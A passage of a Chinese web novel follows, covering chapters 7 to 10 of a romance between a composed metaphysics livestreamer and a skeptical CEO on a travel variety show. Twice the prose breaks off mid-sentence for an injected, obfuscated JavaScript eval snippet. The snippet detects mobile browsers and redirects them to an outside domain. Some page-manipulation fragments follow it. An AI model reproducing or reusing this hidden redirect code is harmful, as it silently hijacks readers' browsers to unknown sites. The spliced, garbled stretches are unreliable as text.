简素也安静地坐在一边，拿着白色的布帛和棉线，手法生疏却认真地学着如何捆扎。阳光透过窗棂洒在她身上，勾勒出柔和的光晕，让她平时略显苍白的脸看起来多了几分生气。 她低垂着眼睫，专注地看着手中的动作，偶尔因为没捆好而微微蹙眉，那认真的侧脸，莫名有种安静动人的力量。 顾延过来实地考察时，看到的就是这样一幅画面。 他今天换回了熨帖的衬衫和西裤，外面套了件休闲款的薄风衣，恢复了平日里一丝不苟的精英模样，仿佛昨晚那个失态敲门的人不是他。他站在工作坊门口，目光扫过全场，最后不着痕迹地落在了那个角落的身影上。 看着她和手里那团乱七八糟的线团搏斗，顾延的嘴角几不可查地动了一下。原来她也有这种笨拙的时候。 “顾总？”王秘书低声提醒。 顾延收回目光，恢复了冷淡的表情，走了进去，以投资方关心录制进度的名义，和导演、主持人简单交谈了几句。 他的出现引起了小小的骚动。林薇薇和郑宇都主动过来打招呼。简素只是抬头看了一眼，点了点头算是示意，然后又低下头和她的线团奋斗，仿佛他只是一个无关紧要的工作人员。 顾延：“……”心里莫名有点不是滋味。他这么大个人，还不如一个线团有吸引力？ 和导演聊完，顾延状似无意地在工作坊里踱步，最后停在了简素的工作台旁边。 简素正试图把一个扎好的小结浸入染料桶，因为不得要领，手指不小心蹭到了深蓝色的染料，在她白皙的指尖染上一小片突兀的颜色。 她微微“啧”了一声，有点懊恼。 顾延几乎是下意识地，从风衣口袋里拿出一块干净的手帕，递了过去。动作自然得连他自己都没反应过来。 简素看着突然递到眼前的手帕，愣了一下，抬起头。 顾延对上她疑惑的目光，这才意识到自己做了什么，耳根微微一热，但脸上依旧维持着镇定：“沾到了。染料不及时处理，容易残留。” 简素看看他，又看看那方质地精良、绣着低调暗纹的深灰色手帕，迟疑地接了过来：“……谢谢顾总。” 她低头擦拭着指尖，蓝色的染料却在白皙的皮肤上晕开得更明显了。 “需要用溶剂。”顾延看着那刺眼的蓝色，眉头不自觉地皱起，“酒精或者专用清洗剂。”他说着，目光转向旁边的王秘书。 王秘书立刻心领神会：“我马上去找。” “不用麻烦了……”简素话还没说完，王秘书已经快步离开了。 工作坊里其他人的目光若有若无地瞟向这边，带着探究和好奇。高冷总裁亲自给小艺人递手帕？还这么关心她手上的染料？这画面怎么看怎么有点违和。 林薇薇的眼神闪了闪。郑宇则露出了一个若有所思的笑容。 弹幕更是炸开了锅： 【？？？我看到了什么？】 【顾总居然会随身带手帕？！还给了简素？！】 【这什么偶像剧情节？！】 【顾总：我只是关心员工】 【磕到了磕到了！】 【顾总好帅！斯哈斯哈。】 简素被看得有些不自在，低声道：“真的不用麻烦王秘书了，一会儿洗洗就好了。” 顾延却像是没听到，他的注意力被她手边那团勉强扎好的布吸引了。那形状实在有点惨不忍睹。 “你扎的是什么？”他忍不住问。语气里带着一丝不易察觉的嫌弃？ 简素拿起那团东西，老实回答：“……兔子。不过好像失败了。” 顾延看着那团疑似抽象派艺术的“兔子”，沉默了两秒。然后，他鬼使神差地伸出手：“给我。” 简素：“啊？” “线。”顾延言简意赅，表情严肃得像是在处理亿万级别的合同。 简素懵懵地把手里的棉线和布递给他。 顾延接过东西，修长的手指灵活地动了起来，拆开她那个乱七八糟的结，重新折叠、捆扎、打结，动作流畅而精准，仿佛演练过无数遍。 不过十几秒，一个轮廓清晰、耳朵对称的兔子雏形就出现在他手中。 简素看得有点呆。 直播间的观众也看呆了： 【？？？顾总还有这技能？】 【这手法！这熟练度！这位帅哥你还有多少惊喜是朕不知道的！】 【为什么扎个兔子都扎出了一种精英范儿？！】 《顾总：没想到吧，我技能点满了。》 【他是怎么做到一边嫌弃一边帮忙的！好可爱啊！】 顾延把扎好的兔子递还给简素，语气依旧平淡：“浸染的时候注意角度，耳朵部分可以多浸一会儿，颜色会深一些，更有层次感。” 简素接过那只瞬间变得像模像样的布兔子，看着顾延那副“我只是顺手纠正一下错误操作”的正经表情，心里那股好笑的感觉又冒了上来。 “谢谢顾总。”她弯起眼睛，真心实意地道谢。 阳光落在她带笑的眼眸里，像是洒了一把碎星。 顾延被她这突如其来的笑容晃了一下眼，心跳漏了半拍。他有些不自然地移开视线，推了推眼镜，沉声道：“不客气。注重细节是基本要求。” 恰好这时王秘书拿着酒精棉片回来了。顾延接过，递给简素：“处理一下。” 然后，不等简素再说什么，他便转身走向导演那边，背影挺拔依旧，只是脚步似乎比平时快了一点。 简素用酒精棉片慢慢擦拭着指尖的染料，看着顾延离开的方向，又低头看了看手里那只工整的布兔子，嘴角忍不住再次上扬。 一天的扎染体验在一种微妙的氛围中结束。傍晚，节目组安排大家展示成果。 其他嘉宾的作品虽然稚嫩，但充满趣味。轮到简素时，她拿出了那只深蓝色晕染得极其漂亮、形状工整的兔子，引起了大家的一致好评。 “简素你这只兔子扎得真好！颜色也漂亮！”赵哥夸赞道。 林薇薇也忍不住多看了两眼。 简素笑了笑，看了一眼不远处假装看风景的顾延，轻声道：“嗯，有高人指点。” 顾延的背影几不可查地僵了一下。 是夜，月朗星稀。 简素白天睡得足，晚上反而有些睡不着。她靠在床头，拿着手机随意翻看。白天录制间隙，她偷偷查过这栋民宿的历史，零零碎碎找到一些信息。 这栋房子几十年前确实是一位颇有名气的文人的故居，后来家道中落，房子几经转手。据说那位文人有一位早逝的年轻妻子，生前极爱唱歌剧，尤其喜欢一首哀婉的咏叹调。妻子去世后，文人悲痛欲绝，不久也郁郁而终。 简素正看着那些泛黄的旧闻，忽然，那阵若有似无的、哀婉的啜泣声又响起来了！ 比昨晚更清晰一些，甚至还夹杂着极其细微的、断断续续的音节，不像现代语言。 声音的来源，依旧直指那个厚重的实木衣柜。 简素放下手机，屏息凝神。这一次，她确定不是幻听。 她悄无声息地下了床，走到衣柜前。越是靠近，那股哀怨悲伤的气息就越是明显，啜泣声也越发清晰，听得人心头发酸。 她伸出手，轻轻搭在冰凉的衣柜门上。 就在她犹豫着要不要打开看看时—— “叩叩叩。” 敲门声再次响起，依旧是那个熟悉的、带着刻意压制的冷静的男声。 “简素？睡了吗？” 简素动作一顿，心里莫名一松。他怎么又来了？难道又看到什么了？ 她走过去打开门。 门外，顾延果然又站在那里。这次他手里没拿那些奇怪的仪器，但脸色比昨晚更凝重，眉头紧锁，眼神里是前所未有的严肃和……一丝不易察觉的担忧？ “顾总？”简素疑惑地看着他，“您的热水器……又坏了？”她故意问道。 顾延被噎了一下，耳根微热，但此刻也顾不上了。他刚才在房间，那种莫名的心神不宁感又出现了，强烈得让他坐立难安。他几乎是第一时间就想到了斜对面的简素。 那种无法用科学解释的预感，让他极其不适，却又无法忽视。 “我听到你这边好像有奇怪的声音。”顾延选择了一个相对合理的说法，目光锐利地扫过房间，最后定格在衣柜上，“是不是有什么东西在里面？” 简素有些惊讶于他的敏锐。难道唯物主义者也有这么强的直觉？ 她侧身让开：“我也听到了，正想看看。” 顾延一步跨进房间，几乎是下意识地将简素往自己身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227482|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后挡了挡，才警惕地看向那个衣柜。这个保护性的动作做得自然无比，连他自己都没意识到。 简素看着挡在自己身前的高大背影，微微一怔。 顾延凝神听了几秒，那啜泣声似乎因为外人的闯入而再次减弱，但并未完全消失。 他深吸一口气，不再犹豫，伸手握住了衣柜的铜制把手。 “等一下。”简素忽然开口。 顾延动作一顿，回头看她。 简素从旁边桌上拿起自己的手机，点亮了手电筒功能，递给他：“里面黑。” 顾延看着她平静的眼神，心里那点莫名的焦躁似乎被抚平了一些。他接过手机，另一只手用力，猛地拉开了厚重的衣柜门！ 手电光瞬间照进衣柜深处—— 没有想象中的妖魔鬼怪。 衣柜里空荡荡的，只整齐地挂着几件节目组准备的备用衣物。底层放着一些干净的床品。 但是，在衣柜最内侧的背板上，似乎有一块木板的颜色和周围略有差异，像是后来修补上去的。 而那断断续续的啜泣声，似乎正是从那块木板后面隐隐约约传出来的！ 顾延的眉头死死拧紧。他伸出手，敲了敲那块木板。 “咚咚。”声音略显空荡。 后面是空的！ 他和简素对视了一眼，都在对方眼中看到了确认。 “需要工具。”顾延沉声道。他立刻拿出手机，不是打给王秘书，而是直接打给了民宿的负责人和节目组的现场制片。 不到十分钟，民宿负责人带着工具箱匆匆赶来，脸上带着紧张和疑惑。制片人也来了，一头雾水。 在顾延强势的要求下，民宿负责人只好找来工具，小心翼翼地撬开了那块松动的木板。 木板后面，是一个隐藏在墙体内的、不大的暗格。 暗格里没有金银财宝，也没有恐怖的东西。 只有一个陈旧褪色的、丝绒材质的小盒子。 顾延戴上工作人员递来的白手套，小心地将盒子取了出来。 所有人心都提到了嗓子眼。 顾延打开盒子。 里面静静躺着一枚款式古朴的金色胸针，胸针上镶嵌着细小的珍珠，已经有些发黄。胸针下面，压着一叠泛黄的信纸，信纸旁边，是一个小小的、已经氧化变黑的银质铃铛。 那哀婉的啜泣声，在盒子被打开的瞬间，彻底消失了。 连同那股一直萦绕不散的哀怨之气，也仿佛完成了某种夙愿，悄然消散在空气中。 民宿负责人看到这些东西，似乎想起了什么，猛地一拍脑袋：“哎呀！我想起来了！老辈人好像说过，这房子以前那位先生的太太，是有这么一枚珍珠胸针，据说她最喜欢了！还有人说她喜欢在家哼洋文歌……后来好像这些东西都不见了，没想到藏在这里了！” 顾延拿起那叠信纸，小心地展开。信纸上是娟秀的繁体字，字里行间充满了对丈夫的思念和对命运的哀叹，最后一封信的日期，正是在她病逝前不久。信纸的右下角，还画着一个模糊的、类似音符的记号。 而那个银质铃铛，轻轻一摇，已经发不出声音了。 一切都对上了。 一位早逝的、热爱音乐、心怀哀怨的年轻妻子，她的执念和她心爱之物，一起被遗忘在了这个黑暗的角落里，经年累月，形成了那微弱的灵体残留和异常的能量场。 真相大白。 不是什么妖魔鬼怪，只是一段被时光掩埋的悲伤往事。 节目组的人面面相觑，既觉得松了口气，又感到一阵唏嘘。 顾延看着手里的东西，久久沉默。 科学仪器检测到的异常低温、次声波，都无法直接解释这其中的情感联结和执念残留。但眼前这些实物，却又隐隐指向了一种超乎现有科学认知的可能性。 他第一次，对自己的唯物主义信念，产生了一丝真正的、细微的动摇。 他下意识地看向简素。 简素也正看着他，眼神清澈平静，仿佛早就料到了这个结果。她轻声开口，像是总结，又像是给他一个台阶下：“看来，是这些旧物长期封闭在潮湿环境里，可能产生了某种特殊的振动频率，或者释放了影响人神经系统的微量物质，结合这房子的历史传闻，才让人产生了幻听和心理暗示吧。” 顾延看着她，看着她努力用科学为他解释这一切的样子，心里某个角落，忽然软了一下。 他沉默了片刻，将盒子小心盖好，递给民宿负责人：“妥善处理吧。” 然后，他转向简素，语气是前所未有的温和：“没事了。” 简素点点头：“嗯。” 其他人陆续离开，房间恢复了安静。 顾延却没有立刻走。他站在门口，看着简素，似乎想说什么，最终却只是道：“今晚应该能睡个好觉了。明天……录制加油。” “谢谢顾总。”简素笑了笑，“您也早点休息。” 顾延点点头，转身离开。这一次，他的脚步沉稳了许多。 回到房间，顾延看着桌上那些还没来得及合上的、关于科学解释的文献，第一次觉得有些索然无味。 他拿起手机，点开那个熟悉的直播平台APP，找到简素的直播间，指尖在礼物列表上停留了片刻。 然后，他充值，选择了平台最贵的那款礼物“宇宙之心”，输入数量：1。 附言只有一个字： 【嗯。】 他按下发送键。 几乎同时，斜对面房间里，正准备躺下的简素，听到手机特别关注的提示音，拿起来一看。 屏幕上，是那个熟悉的默认ID，送出的璀璨礼物特效，和那个言简意赅的【嗯】。 简素看着那个字，忍不住笑出了声。 8. 第8章 衣柜事件后，民宿里的空气似乎都清新通透了不少。那萦绕不散的淡淡哀怨彻底消失，连阳光都仿佛比前两日更明媚几分。 节目录制氛围也变得轻松起来。大家对简素的态度悄然转变，少了几分审视和疏离，多了几分好奇和隐约的依赖？ 尤其是林薇薇，时不时会凑过来，旁敲侧击地问些生活习惯问题，比如“简素你看我适合戴什么颜色的饰品？”或者“我床头朝西真的没问题吗？”。 简素一律用“色彩心理学”和“光照影响褪黑素分泌”等理论打发，说得一本正经，听得林薇薇一愣一愣，最后总能满意、或者说自我安慰地离开。 郑宇则更直接些，录制间隙找到简素，真诚道谢：“简老师，多谢你上次提醒。我昨天真让助理检查了房间，东边窗户确实有道小裂缝，已经找人封好了。昨晚感觉睡眠确实踏实了点！” 简素点点头：“气流稳定，噪音减少，有助于深度睡眠。”绝口不提其他。 这一切，都被“例行考察”的顾延看在眼里。 他依旧每天会出现在录制现场附近，手里不再是那些显眼的科学仪器，取而代之的是一个平板电脑，时不时记录着什么。但仔细观察就能发现，他的目光停留在简素身上的时间，明显变长了。 他看着她和嘉宾互动，用那些匪夷所思却又逻辑自洽的科学理论解释一切，看着其他人从将信将疑到逐渐信服，看着她平静的侧脸和偶尔因为被逗笑而微微弯起的眼睛。 他的心情很复杂。 一方面，他依旧试图为所有现象寻找底层逻辑。他私下让王秘书搜集了更多关于环境心理学、暗示效应、甚至量子理论的资料，虽然他依旧认为这很扯，试图构建一个更庞大的理论体系来解释简素的一切巧合。 另一方面，他又无法忽视心底那份日益扩大的疑惑和好奇，甚至还有点欣赏。 她的观察力确实敏锐得惊人，总能注意到常人忽略的细节。她的逻辑思维也很独特，总能自圆其说。而且，她似乎真的在帮助别人，用一种看似离谱却有效的方式。 就像现在。 户外录制环节，大家需要穿过一片小树林去往下一个任务点。天色忽然有些阴沉下来。 简素抬头看了看天，又看了看地面潮湿的苔藓和空气中飞舞的小虫，忽然对走在前面的跟拍PD说：“老师，建议让大家加快速度，或者换个路线。半小时内可能会有急雨，雨势不小。” PD愣了一下，看看还算晴朗的天，有些犹豫：“气象预报说今天只是多云……” “东南方向积云发展很快，湿度也在急剧上升。”简素语气平静，“树林里路面湿滑，一旦下雨，不安全。” 旁边的顾延闻言，立刻拿出手机查看实时雷达图。果然，屏幕显示一片强回波正从东南方向快速移动过来，预计抵达时间，大约二十五分钟。 他猛地抬头看向简素。 “听她的。”顾延收起手机，不容置疑地对PD和导演组说道，“立刻加快速度，优先保证人员设备安全。” 导演组见投资方大佬发话，又看顾延脸色凝重，不敢怠慢，立刻通知全员加速。 果然，就在大部队刚刚冲出树林，到达一处有凉亭避雨的景点时，豆大的雨点噼里啪啦地砸了下来，瞬间就连成了雨幕，天地间一片混沌。 “哇！真的下了！还这么大！” “幸好跑得快！不然非得淋成落汤鸡！” “简素你也太神了吧！这都能看出来？” 嘉宾和工作人员纷纷惊呼，看着亭外倾盆的大雨，心有余悸，又对简素投去佩服的目光。 林薇薇更是直接凑到简素身边，几乎把她当成了人形天气预报仪。 顾延站在凉亭的另一侧，看着被众人围住的简素。她脸上依旧没什么得意表情，只是淡淡地解释：“只是凑巧学过一些看云识天气的常识。” 雨丝被风刮进凉亭，带来阵阵凉意。简素只穿了件单薄的录制队服，下意识地抱了抱胳膊。 这个细微的动作落入了顾延眼中。 他几乎没怎么思考，就脱下了自己的薄风衣，走过去，十分自然地披在了简素肩上。 动作快得连他自己都没想好借口。 肩膀上突然落下带着体温和淡淡雪松气息的外套，简素惊讶地转头。 顾延避开她的目光，表情是一贯的严肃，语气公事公办：“录制期间，确保嘉宾身体状况也是投资方的责任。不要感冒，影响进度。” 亭子里瞬间安静了一下。 所有人的目光都聚焦在这两人身上。 林薇薇的眼神变得玩味。郑宇露出了然的微笑。工作人员们交换着八卦的眼神。 弹幕更是疯了一样： 【啊啊啊！披衣服了！】 【责任！都是责任！】 【顾总：我关心的是节目进度。】 【嘴硬心软霸总x淡定玄学美人！我磕死！】 【这糖来得猝不及防！】 【楼上的姐妹笔给你，快写！】 简素感受着外套上残留的体温和那股好闻的冷冽香气，愣了一下，随即微微弯起唇角：“谢谢顾总关心……进度。” 她特意在“进度”两个字上轻轻顿了一下。 顾延的耳根以肉眼可见的速度泛红，他推了推眼镜，强作镇定地“嗯”了一声，转身走到亭子边缘去看雨，只留下一个看似冷漠实则有点僵硬的背影。 简素拢了拢宽大的风衣，衣服上还带着他 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顾延：“……感觉？”这个答案显然无法满足他追求精确数据的大脑。 “嗯，”简素点点头，也看向雨幕，“空气里的湿度变化，云层移动的速度和厚度，风里带来的味道，还有……嗯，一些小动物的行为。综合起来的直觉吧。就像你们做数据分析，也是综合各种变量得到一个概率最大的结果，不是吗？” 顾延沉默了片刻，似乎在消化这个说法。最终，他几不可查地点了下头：“……很敏锐的观察力。” 这几乎是他能给出的最高赞誉。 简素笑了笑：“谢谢顾总肯定。” 又是一阵沉默。 但这次沉默不再尴尬，反而流淌着一种难以言喻的默契。 过了一会儿，顾延像是忽然想起什么，从之前那件风衣口袋里摸出一样东西，递给简素。 是一个独立包装的酒精消毒棉片。 “手。”他言简意赅。 简素低头，才发现自己刚才蹭到了亭柱上的一点青苔，手指上有些绿渍。 她有些讶异于他的细心，接过棉片：“谢谢。” 顾延没再说话，只是看着她仔细擦拭手指，目光在她白皙纤细的手指上停留了一瞬，又迅速移开。 雨声淅沥，气氛莫名宁静。 直到导演宣布雨小了，准备再次出发。 顾延很自然地从简素肩上拿回自己的风衣，重新穿好。动作间，那股雪松冷香再次掠过简素的鼻尖。 “走了。”他说了一句，率先走入细密的雨丝中。 简素看着他的背影，摸了摸刚才披过外套的肩膀，那里似乎还残留着一点温度。 9. 第9章 雨势渐歇，从倾盆大雨转为淅淅沥沥的细雨，最终只剩下屋檐滴答落下的水珠，在青石板上晕开一个个深色的圆点。天光重新透亮，洗过的山林绿意盎然，空气里弥漫着泥土和草木的清新气息。 “雨停了，准备出发！”导演一声令下，凉亭里慵懒的气氛瞬间被打破，工作人员迅速行动起来，检查设备，整理物资。 顾延几乎在导演话音落下的瞬间，就极其自然地从简素肩上取回了自己的风衣。动作流畅，仿佛只是收回一件暂时借出的物品。带着他体温和淡淡雪松气息的暖意骤然离开，简素肩上微微一凉，竟有一丝不易察觉的留恋。 “谢谢顾总的外套。”简素礼貌道谢，语气如常。 顾延“嗯”了一声，视线并未与她交汇，只是低头整理着风衣的袖口，仿佛那是什么极其重要的事情。只有他自己知道，指尖掠过布料时，似乎还能感受到一丝不属于他的、极细微的温度。他将风衣搭在臂弯，表情恢复成一贯的冷峻，率先步入仍有些湿滑的石板路。 简素看着他略显急促的背影，唇角弯了弯，也跟上了大部队。 接下来的录制行程是参观一处本地特色的手工作坊。雨后的山路略显泥泞，众人走得小心翼翼。 林薇薇穿着不方便的运动鞋，好几次差点滑倒，忍不住小声抱怨：“这路好难走啊。” 走在她旁边的郑宇体贴地伸出了手臂：“薇薇，扶着点我吧，小心滑。” “谢谢郑哥。”林薇薇感激地挽住郑宇的胳膊。 走在前面的简素正低头注意着脚下的路，忽然，旁边伸过来一只手，手里拿着一根不知从哪里捡来的、粗细适中的结实木棍。手的主人声音平淡无波，像是在做工作汇报：“拄着这个，摩擦力比鞋底大，更安全。” 简素抬头，对上顾延没什么表情的脸。他目光看着前方，好像只是随手为之，恰好看到，恰好递出。 弹幕却火眼金睛： 【？？？顾总什么时候捡的棍子？】 【哈哈哈顾总的关心方式永远这么别致！】 【摩擦力！是摩擦力！顾总他真的，我哭死！】 【别人扶胳膊，顾总给木棍，不愧是你！】 【简素：谢谢您嘞】 【礼貌接棍】 简素看着那根打磨得还算光滑的木棍，又看看顾延那副正经模样，忍着笑接了过来：“谢谢顾总，考虑得很周到。” 她试着拄了一下，确实稳当了不少。 顾延见她接受，几不可查地点了下头，收回手，插回西裤口袋，继续目不斜视地往前走，只是步速稍稍放慢了些，恰好保持在简素前方半步左右的距离，无形中替她挡开了前面可能滑落的枝叶和溅起的泥水。 简素拄着木棍，看着身前那个挺拔而略显紧绷的背影，山间的微风似乎将他身上那股冷冽的雪松香气又送了过来，萦绕鼻尖。 手工作坊的体验项目是制作当地特色的植物拓染。每人发了一块白棉布和一些新鲜采摘的花草树叶，需要自己设计布局，然后用小锤子一点点将植物的汁液和形态拓印到布上。 简素对这类需要耐心和细致手工的活动并不算擅长。她看着面前琳琅满目的花草，有点选择困难。最后，她凭感觉挑了几片形态优美的枫叶和几朵小小的白色野花，随意地摆在棉布的一角。 顾延作为投资方代表，本来只是在旁边观看。但节目组根据多年毒辣的眼光，察觉到顾延和简素两人身上有股莫名的火花，在导演的热情邀请下，也勉强参与进来。 他做事极其讲究条理，先是仔细洗净了手，然后戴上工作人员提供的一次性手套，将花草分门别类放好，才开始在布上构图。那严谨的态度，不像是在做手工拓染，倒像是在绘制精密图纸。 简素学着别人的样子，开始用小锤子敲打。但她力道控制得不好，不是轻了印不上颜色，就是重了把植物砸得稀烂，棉布上很快变得一团糟。 她看着自己惨不忍睹的作品，无奈地叹了口气。 旁边的林薇薇和郑宇已经初见成效，布上留下了清晰的叶片脉络和花瓣形状。 “简素，需要帮忙吗？”郑宇注意到她的困境，友善地问道。 “不用了，谢谢郑老师，我再试试。”简素不想麻烦别人，继续跟手里的锤子和植物搏斗。 就在这时，一只骨节分明、戴着一次性手套的手伸了过来，轻轻拿走了她手里那把惨遭蹂躏的锤子。 简素一愣，抬头看见顾延不知何时站到了她的工作台旁。他眉头微蹙，看着那块被摧残得不成样子的棉布，眼神里带着一种近乎痛心疾首的批判，仿佛看到了下属交上来的一份错误百出的报告。 “力度和频率都不对。”顾延的声音低沉，带着一丝不容置疑的权威性，“垂直敲击，手腕发力，频率要稳，不能忽快忽慢。” 他说着，从自己那边拿了几片新鲜的蕨类叶子，重新铺在简素棉布的空位上，然后示范性地敲击起来。 咚，咚，咚。 力道均匀，节奏稳定，带着一种奇异的韵律感。不过十几下，拿起叶子，布上便清晰地印下了一片优美对称的蕨类图案，颜色浓淡适中，细节清晰。 简素看得有些呆。这男人怎么连敲锤子都敲得这么标准又好看？ “试试。”顾延把锤子递还给她，语气像是指导实习生。 简素接过锤子，学着他的样子，尝试控制手腕的力度和节奏。 “手腕再放松一点。” “角度稍微偏了。” “这里，补两下。” 顾延就站在她身侧，目光专注地看着她的动作，时不时出声指导。他的声音很近，呼吸几乎拂过她的耳际，带来一丝微妙的痒意。 简素发现，只要按照他说的做，印出来的图案果然清晰多了。她渐渐找到了点感觉，专注地投入进去。 顾延看着她认真的侧脸，看着她因为成功印出一片完整的叶子而微微亮起的眼睛，指导的声音不知不觉缓和了下来。他甚至顺手帮她调整了一下另一朵花的位置，让构图更协调。 两人一个教一个学，气氛莫名和谐。 【啊啊啊顾老师小课堂开课了！】 【这该死的苏感！手把手教学！】 【顾总好严格，但是好宠啊！】 【简素学得好认真！莫名配我一脸！】 【周围人的眼神哈哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227484|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，郑宇笑得好意味深长！】 最终，简素的植物拓染作品虽然算不上惊艳，但也终于能看得过去了，至少不再是灾难现场。她看着那块布，心里居然生出一丝成就感。 “谢谢顾老师的指导。”她笑着对顾延说，语气带着几分调侃。 顾延推了推眼镜，避开她带笑的目光，看向那块布，评价依旧客观严谨：“基本达到清晰呈现植物形态的要求。下次注意前期构图和力度控制会更好。” “是，顾总。”简素从善如流地点头。 活动结束，成品被收走，之后会统一处理后再还给嘉宾。 一下午的录制很快过去。傍晚时分，节目组安排大家在民宿的庭院里进行露天烧烤，也算是给今天受惊的大家压压惊。 炭火燃起，食物发出滋滋的声响，香气四溢。气氛变得轻松热闹起来。嘉宾和工作人员混坐在一起，喝酒聊天，笑声不断。 简素拿了些蔬菜和玉米，坐在一个相对安静的角落慢慢烤着。她不擅长也不热衷这种过于热闹的社交场合。 就在她专注地盯着烤玉米，防止它烤焦时，一个餐盘悄无声息地放到了她旁边的桌子上。 盘子里是几串烤得恰到好处的肉串和鸡翅，色泽金黄，油光微亮，散发着诱人的香气，一看就是火候掌握得极好的作品。 简素抬头，看到顾延正站在桌边，手里还拿着一个干净的盘子，似乎正准备去取食物。 “烤多了。”顾延语气平淡，视线扫过她手里那根略显干瘪的玉米，“蛋白质摄入不足会影响体力恢复，不利于后续录制。” 说完，他也没等简素回应，便转身走向食物区，仿佛真的只是顺手把吃不掉的食物分给了下属。 简素看着盘子里那明显是精心烤制、绝非烤多了的食物，再看看顾延那故作淡然的背影，心里像是被羽毛轻轻搔了一下。 晚风吹拂，带来夏夜的凉爽。他们不知道的是，这些场面正被镜头悄悄地记录着…… ------ 随机掉落一个官宣。 @【奇遇之旅V】：#《奇遇之旅》综艺全阵容正式官宣# 烫烫烫！重量常驻嘉宾来袭！本届最强女主嘉宾——近日以独特的传统国学风格爆火全网直播间的@简素不吃素，她的眼睛火眼金睛！ 节目的官宣微博一发，以极快的时间上了热搜。 #节目组真请到活的玄学顶流了# #这姐上次直播算塌房爱豆一算一个准# #玄学主播被迫上综艺实录# 一大波弹幕大军即将到达战场： 【现在综艺都开始搞玄学人设了？】 【前方高能！注意弹幕护体！！】 【支持素素！她算我八字比我自己还了解我熬夜时间！】 【她算什么子顶流，完全不认识……】 【笑死，剧本安排好了吗？】 【骂归骂，但我好奇她能不能算出自己哪天能上热搜……】 【电子木鱼已备好，坐等打脸/吃瓜。】 【啊啊啊姐姐看我！能帮我算算什么时候暴富吗！！！】 【玄学人设翻车预备役+1。】 10. 第10章 由于阵容官宣给《奇遇之旅》的综艺带来前所未有的讨论度和质疑，比如一个搞玄学的网红主播来慢综艺的意义是什么？ 但不管怎样，在节目组眼里，有讨论就是有声音，有声音就是有热度。简直省下了一大笔宣传费用正高兴都来不及呢。 于是，在录制行程过半时，节目组安排了一次户外团队协作任务——分组在山谷溪流中寻找隐藏的“宝藏”线索。 并且，还花大价钱邀请了一位重量级人物当飞行嘉宾。 一位以硬汉形象著称、近年来转型导演颇获好评的影帝——梁晖。 梁晖年近五十，但保养得宜，身材管理极好，眉宇间虽有岁月沉淀的沉稳，却也不失活力。他性格爽朗，没什么架子，很快融入了团队，积极参与任务。 溪水清澈见底，卵石湿滑，大家穿着防水裤和胶鞋，深一脚浅一脚地在水中摸索，时不时因为失去平衡而发出惊呼和笑声，场面热闹又有些狼狈。 然而，简素却敏锐地察觉到，这位影帝眉宇间藏着一丝极淡的、难以化开的郁色。那不是疲惫，更像是一种潜藏的忧虑，甚至带点心神不宁的感觉。尤其在任务间隙，他偶尔会下意识地摩挲一下自己的左手手腕，眼神会飘向远方的山峦，显得有些心不在焉。 在一次需要攀爬一小段湿滑岩石才能获取线索的任务点，梁晖的动作明显比其他人更加谨慎，甚至可以说是过于小心翼翼了。他反复确认脚下是否稳当，手臂伸展的幅度都有所控制。 “梁老师，您慢点，这边石头滑。”郑宇体贴地提醒道。 “哎，好，年纪大了，可比不了你们年轻人灵活咯。”梁晖笑着自嘲，但简素却从他眼神里捕捉到了一闪而过的、并非完全玩笑的凝重。 弹幕也在讨论： 【梁影帝今天好像有点放不开？】 【是不是上次拍戏受伤的后遗症啊？听说他之前威亚出事伤过手腕。】 【可能只是谨慎吧，毕竟不安全。】 【感觉梁影帝好像有心事？】 简素的目光落在梁晖的左手手腕上，那里似乎隐约能看到一点旧伤的痕迹。但她感知到的，不仅仅是旧伤带来的物理性谨慎，更有一股微弱的、萦绕在他周身的不安气息，像是某种预示性的阴影，虽然不算浓重，但若置之不理，可能会在某个关键时刻酿成不便。 获取完线索，大家暂时在溪边平坦的巨石上休息，补充水分。 梁晖拧开水瓶喝了一口，看着潺潺流水，轻轻叹了口气，那叹息轻得几乎听不见。 简素走到他身边坐下，状似随意地开口：“梁老师最近是不是有重要的拍摄计划？或者是需要高度集中和精准操作的工作？” 梁晖闻言，惊讶地转过头看她：“你怎么知道？” 他确实有一部自己执导并主演的新电影，下周就要开机，其中有不少需要他亲自上阵的动作戏和精密器械操作环节，这正是他最近心里隐隐担忧的事情。旧伤虽已痊愈，但心理阴影犹在，而且不知为何，最近总觉得有些心神不宁，怕出纰漏。 简素笑了笑，指指他的手腕：“看您刚才爬岩石的时候特别保护左手，猜的。” 梁晖恍然，佩服地笑道：“那你观察力太厉害了。是啊，新戏要开了，有点压力。”他顿了顿，还是忍不住多说了一句，“也不知道怎么回事，明明准备很充分了，这几天心里却总有点不踏实，怕现场出什么岔子，尤其是安全方面。” “大型项目前期有些焦虑很正常，这是负责的表现。”简素语气平和，带着一种能让人心安的力量，“不过，过度焦虑反而会影响判断和状态。有时候，一点点心理暗示和安全感，就能让事情顺利很多。” 她说着，从自己随身携带的那个看起来普普通通、甚至有些发旧的帆布小包里，拿出了一个只有指甲盖大小、折叠成三角状的黄色符纸。符纸看起来平平无奇，但仔细看，上面似乎用朱砂绘着极其细微繁复的纹路。 “这是我之前去……呃，一个香火很旺的寺庙时，顺手求的平安符。”简素面不改色地扯了个小谎，将其递给梁晖，“据说挺灵验的，能宁神静气，保个心安。梁老师要不嫌弃，就放在贴身口袋里？算是个积极的心理暗示。” 